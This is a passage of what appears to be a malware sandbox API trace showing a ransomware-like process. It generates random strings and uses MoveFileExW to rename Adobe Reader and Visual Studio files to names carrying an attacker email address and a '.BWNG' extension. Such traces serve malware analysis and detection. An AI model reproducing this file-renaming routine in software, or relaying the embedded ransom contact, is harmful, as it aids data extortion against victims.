lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0040.360] GetTickCount () returned 0x11551b9 [0040.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18231226798) returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0040.360] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\[billwong73@yahoo.com].eOhDiiAH-07Xjon0V.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\[billwong73@yahoo.com].eohdiiah-07xjon0v.bwng"), dwFlags=0x1) returned 1 [0040.361] GetTickCount () returned 0x11551b9 [0040.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18231317234) returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0040.361] GetTickCount () returned 0x11551b9 [0040.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18231348188) returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0040.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0040.362] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].SRQEyrC1-JAOgPfVL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].srqeyrc1-jaogpfvl.bwng"), dwFlags=0x1) returned 1 [0040.775] GetTickCount () returned 0x11552b3 [0040.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18272688410) returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0040.775] GetTickCount () returned 0x11552b3 [0040.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18272719489) returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0040.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0040.775] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\[billwong73@yahoo.com].X3C1uwIY-QTM4F1CQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\[billwong73@yahoo.com].x3c1uwiy-qtm4f1cq.bwng"), dwFlags=0x1) returned 1 [0041.017] GetTickCount () returned 0x11553ac [0041.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18296882620) returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0041.017] GetTickCount () returned 0x11553ac [0041.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18296915347) returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0041.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0041.017] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\[billwong73@yahoo.com].MIpH37Jn-xePpEVKb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\[billwong73@yahoo.com].miph37jn-xeppevkb.bwng"), dwFlags=0x1) returned 1 [0041.081] GetTickCount () returned 0x11553eb [0041.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18303324660) returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0041.081] GetTickCount () returned 0x11553eb [0041.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18303356583) returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0041.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0041.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0041.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0041.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.082] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].HEJCc0m0-huNsASfj.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].hejcc0m0-hunsasfj.bwng"), dwFlags=0x1) returned 1 [0041.082] GetTickCount () returned 0x11553eb [0041.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18303468610) returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0041.083] GetTickCount () returned 0x11553eb [0041.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18303497084) returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.083] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\[billwong73@yahoo.com].cHLTAG5K-KlEwTRWy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\[billwong73@yahoo.com].chltag5k-klewtrwy.bwng"), dwFlags=0x1) returned 1 [0041.146] GetTickCount () returned 0x1155429 [0041.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18309837669) returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0041.146] GetTickCount () returned 0x1155429 [0041.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18309868624) returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0041.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 